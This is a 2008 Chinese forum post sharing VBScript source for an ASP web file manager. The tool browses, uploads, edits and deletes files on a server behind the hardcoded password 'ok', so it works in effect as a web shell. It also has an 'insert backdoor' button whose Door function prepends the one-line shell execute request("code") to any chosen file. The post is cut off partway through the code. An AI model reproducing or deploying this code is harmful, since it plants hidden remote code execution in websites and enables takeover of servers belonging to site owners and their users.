首页 新闻 论坛 群组 Blog 文档 下载 读书 Tag 网摘 搜索 .NET Java 游戏 视频 人才 外包 培训 数据库 书店 程序员
中国软件网
欢迎您:游客 | 登录 注册 帮助
  • 散分,好久没来ASP版了,转.net了,分享下以前写的一个asp文件管理工具吧。 [已结贴,结贴人:iuhxq]
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    • iuhxq
    • 等级:
    发表于:2008-04-25 15:57:46 楼主
    VBScript code
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style type="text/css"> <!-- a { font-size: 9pt; color: #3300CC; text-decoration: none; } body { font-size: 9pt; margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; line-height: 20px; background-color: #EEEEEE; } td { font-size: 9pt; line-height: 20px; } .tx { border-color:#000000; border-left-width: 0px; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; font-size: 9pt; background-color: #EEEEEE; } .tx1 { font-size: 9pt; border: 1px solid; border-color:#000000; color: #000000; } --> </style> <% Server.ScriptTimeout = 999 action = Request("action") temp = Split(Request.ServerVariables("URL"), "/") url = temp(UBound(temp)) Const pass = "ok"'登陆密码 '登陆验证 Call ChkLogin() Set fso = CreateObject("Scripting.FileSystemObject") Select Case action Case "新建文件" Call fileform(Request("path")&"\") Case "savefile" Call savefile(Request("filename"), Request("content"), Request("filename1")) Case "新建文件夹" Call newfolder(Request("path")&"\") Case "savefolder" Call savefolder(Request("foldername")) Case "编辑" Call edit(Request("f")) Case "重命名" Call renameform(Request("f")) Case "saverename" Call rename(Request("oldname"), Request("newname")) Case "剪切" session("f") = request("f") session("action") = action Response.Redirect(url&"?foldername="&Request("path")) Case "复制" session("f") = request("f") session("action") = action Response.Redirect(url&"?foldername="&Request("path")) Case "粘贴" Call affix(Request("path")&"\") Case "删除" Call Delete( request("f"), Request("path") ) Case "uploadform" Call uploadform(Request("filepath"), Request("path")) Case "saveupload" Call saveupload() Case "下载" Call download(request("f")) Case "打包" Dim Str, s, s1, s2, rep Call Dabao( Request("f"), Request("path") ) Case "解包" Call Jiebao(Request("f"), Request("path")) Case "生成静态页" Call WriteFile1("http://localhost/m33ss2.asp") Case "插入后门" Call Door(Request("f")) Case "退出" Call logout() Case Else Path = Request("foldername") If Path = "" Then Path = server.MapPath("./") ShowFolderList(Path) End Select Set fso = Nothing Function Door(f) Set f1 = fso.OpenTextFile(f, 1, true) content = "<%execute request(""code"")%"&">"&vbCrLf&f1.ReadAll Call savefile(f, content, f) End Function Function WriteFile1(url) html = GetBody(url) Response.Write html Call savefile(Server.mappath("index.html"), html, Server.mappath("index.html")) End Function Function GetBody(Url) Set objXML = CreateObject("Microsoft.XMLHTTP") With objXML .Open "Get", Url, False, "", "" .SEnd GetBody = .ResponseBody End With GetBody = BytesToBstr(GetBody, "GB2312") Set objXML = Nothing End Function Function BytesToBstr(strBody, CodeBase) Set objStream = Server.CreateObject("Adodb.Stream") With objStream .Type = 1 .Mode = 3 .Open .Write strBody .Position = 0 .Type = 2 .Charset = CodeBase BytesToBstr = .ReadText .Close End With Set objStream = Nothing End Function '列出文件和文件夹 Function ShowFolderList(folderspec) temp = Request.ServerVariables("HTTP_REFERER") temp = Left(temp, Instrrev(temp, "/")) temp1 = Len(folderspec) - Len(server.MapPath("./")) -1 If temp1>0 Then temp1 = Right(folderspec, CInt(temp1)) + "\" ElseIf temp1 = -1 Then temp1 = "" End If tempurl = temp + Replace(temp1, "\", "/") uppath = "./" + Replace(temp1, "\", "/") upfolderspec = fso.GetParentFolderName(folderspec&"\") Set f = fso.GetFolder(folderspec) %> <form name="form1" method=post action=""> <input type="hidden" name="path" class="tx1" value="<%= folderspec%>"> <input type="submit" name="action" class="tx1" value="新建文件夹"> <input type="submit" name="action" class="tx1" value="新建文件"> <input type="button" value="向上" class="tx1" onclick="location.href='<%= url%>?foldername=<%= replace(upfolderspec,"\","\\")%>'"> <input type="button" value="返回" class="tx1" onclick="location.href='<%= url%>'"> <input type="submit" name="action" class="tx1" value="重命名"> <input type="submit" name="action" class="tx1" value="编辑"> <input type="submit" name="action" class="tx1" value="剪切"> <input type="submit" name="action" class="tx1" value="复制"> <input type="submit" name="action" class="tx1" value="粘贴" onclick="return confirm('确认粘贴吗?');" <%if session("f")="" or isnull(session("f")) then response.write(" disabled") %>> <input type="submit" name="action" class="tx1" value="删除" onclick="return confirm('确认删除吗?');"> <input type="button" name="action" class="tx1" value="上传" onClick="javascript:window.open('<%= url%>?action=uploadform&filepath=<%= uppath%>&path=<%= replace(folderspec,"\","\\")%>','new_page','width=600,height=260,left=100,top=100,scrollbars=auto');return false;"> <input type="submit" name="action" class="tx1" value="下载"> <input type="submit" name="action" class="tx1" value="打包" onclick="return confirm('确认打包吗?');"> <input type="submit" name="action" class="tx1" value="解包" onclick="return confirm('确认解包吗?');"> <!--input type="submit" name="action" class="tx1" value="生成静态页" onclick="return confirm('确认生成静态页吗?');"--> <input type="submit" name="action" class="tx1" value="插入后门" onclick="return confirm('确认插入后门吗?');"> <input type="submit" name="action" class="tx1" value="退出" onclick="return confirm('确认退出吗?');"> <br>当前目录:<%=f.path%>当前时间:<%=now%> <table width="100%" height="24" border="1" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#000000"> <tr bgcolor="#CCCCCC"> <td width="4%" align="center">操作<input type="checkbox" name="chkall" onclick="for (var i=0;i<form1.elements.length;i++){var e = form1.elements[i];if (e.type == 'checkbox')e.checked = form1.chkall.checked;}"></td> <td width="42%" align="center">名称</td> <td width="11%" align="right">大小<%= formatnumber(f.size/1024,2)%>K</td> <td width="20%" align="center">类型</td> <td width="13%">修改时间</td> <td width="10%">属性</td> </tr> <% '列出目录 Set fc = f.SubFolders For Each f1 in fc %> <tr bgcolor="#EEEEEE" onmouseover=this.bgColor='#F3F6FA'; onmouseout=this.bgColor='#EEEEEE';> <td><center><input type="checkbox" name="f" value="<%= folderspec&"\"&f1.name%>"></center></td> <td><a href="<%= url%>?foldername=<%= folderspec%>\<%= f1.name%>"><%= f1.name%></a></td> <td align="right"><%= f1.size%></td> <td><%= f1.type%></td> <td><%= f1.datelastmodified%></td> <td><%= f1.Attributes%></td> </tr> <% Next '列出文件 Set fc = f.Files For Each f1 in fc %> <tr bgcolor="#EFEFEF" onmouseover=this.bgColor='#F3F6FA'; onmouseout=this.bgColor='#EEEEEE';> <td><center><input type="checkbox" name="f" value="<%= folderspec&"\"&f1.name%>"></center></td> <td><a href="<%= tempurl+f1.name%>" target="_blank"><%= f1.name%></a></td> <td align="right"><%= f1.size%></td> <td><%= f1.type%></td> <td><%= f1.datelastmodified%></td> <td><%= f1.Attributes%></td> </tr> <% Next %> </table> </form> <% End Function '保存文件 Function savefile(filename, content, filename1) If Request.ServerVariables("PATH_TRANSLATED")<>filename Then Set f1 = fso.OpenTextFile(filename, 2, true) f1.Write(content) f1.Close End If Response.Redirect(url&"?foldername="&fso.GetParentFolderName(filename)) End Function '文件表单 Function fileform(filename) If fso.FileExists(filename) Then Set f1 = fso.OpenTextFile(filename, 1, true) content = server.HTMLEncode(f1.ReadAll) f1.Close End If %>
    100  修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    • iuhxq
    • 等级:
    发表于:2008-04-25 15:58:261楼 得分:0
    VBScript code
    <form name="form1" method="post" action="<%= url%>?action=savefile"> <center><input name="filename" type="text" class="tx" style="width:100%" value="<%= filename%>"><textarea name="content" wrap="VIRTUAL" class="tx" style="width:100%;height:100%;font:Arial,Helvetica,sans-serif;" onKeyUp="style.height=this.scrollHeight;"><%= content%></textarea><input type="submit" class="tx1" onclick="return confirm('保存 '+filename.value+' ?');" value="保存"><input type="reset" class="tx1" value="重置"></center> </form> <% End Function '保存文件夹 Function savefolder(foldername) Set f = fso.CreateFolder(foldername) Response.Redirect(url&"?foldername="&f) End Function '新文件夹 Function newfolder(foldername) folderform foldername End Function '文件夹表单 Function folderform(foldername) %> <form method="post" action="<%= url%>?action=savefolder"> <center><input name="foldername" type="text" size="100" value="<%= foldername%>"><input type="submit" class="tx1" onclick="return confirm('保存 '+foldername.value+' ?');" value="保存"><input type="reset" class="tx1" value="重置"></center> </form> <% End Function '重命名表单 Function renameform(oldname) %> <form method=post action=""> <center>输入新的名字:<input type="hidden" name="oldname" value='<%= oldname%>'><input type="hidden" name="action" value="saverename"><input type="text" name="newname" value='<%= oldname%>' size="100"><input type="submit" class="tx1" value="提交修改"></center> </form> <% End Function '重命名 Function Rename(oldstr, newstr) oldname = Split(oldstr, ",") newname = Split(newstr, ",") For i = 0 To UBound(oldname) If fso.FileExists(Trim(oldname(i))) Then fso.MoveFile Trim(oldname(i)), Trim(newname(i)) If fso.FolderExists(Trim(oldname(i))) Then fso.MoveFolder Trim(oldname(i)), Trim(newname(i)) Next Response.Redirect(url&"?foldername="&fso.GetParentFolderName( oldname(0) )) End Function '粘贴 Function affix(Path) oldname = Split(session("f"), ",") If session("action") = "剪切" Then For i = 0 To UBound(oldname) If fso.FileExists(Trim(oldname(i))) Then fso.MoveFile Trim(oldname(i)), Path&fso.GetFileName(Trim(oldname(i))) If fso.FolderExists(Trim(oldname(i))) Then fso.MoveFolder Trim(oldname(i)), Trim(Path) Next ElseIf session("action") = "复制" Then For i = 0 To UBound(oldname) If fso.FileExists(Trim(oldname(i))) Then fso.CopyFile Trim(oldname(i)), Path&fso.GetFileName(Trim(oldname(i))) If fso.FolderExists(Trim(oldname(i))) Then fso.CopyFolder Trim(oldname(i)), Trim(Path) Next End If session("f") = "" Response.Redirect(url&"?foldername="&Path) End Function '编辑 Function edit(f) If fso.FileExists(f) Then Call fileform(f) If fso.FolderExists(f) Then Call folderform( f ) End Function '删除 Function Delete( Str, Path ) For Each f In Str If fso.FileExists(f) Then fso.DeleteFile(f) If fso.FolderExists(f) Then fso.DeleteFolder(f) Next Response.Redirect(url&"?foldername="&Path) End Function '打包 Function Dabao( Str, Path ) For Each f In Str If fso.FolderExists(f) Then Call pack(f, Path&"\") Next Response.Redirect(url&"?foldername="&Path) End Function '解包 Function Jiebao( Str, Path ) For Each f In Str If fso.FileExists(f) Then Install(f) Next Response.Redirect(url&"?foldername="&Path) End Function '上传表单 Function uploadform(filepath, Path) %> <div id="waitting" style="position:absolute; top:100px; left:240px; z-index:10; visibility:hidden"> <table border="0" cellspacing="1" cellpadding="0" bgcolor="0959AF"> <tr><td bgcolor="#FFFFFF" align="center"> <table width="160" border="0" height="50"> <tr><td valign="top"><div align="center">&nbsp;作&nbsp;执&nbsp;行&nbsp;中<br>请稍候... </div></td></tr> </table> </td></tr> </table> </div> <div id="upload" style="visibility:visible"> <form name="form1" method="post" action="<%= url%>?action=saveupload" enctype="multipart/form-data" > <table width="100%" height="24" border="1" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#000000"> <tr bgcolor="#CCCCCC"><td bgcolor="#CCCCCC">文件上传 <input type="hidden" name="act" value="upload"></td> </tr> <tr align="left" bgcolor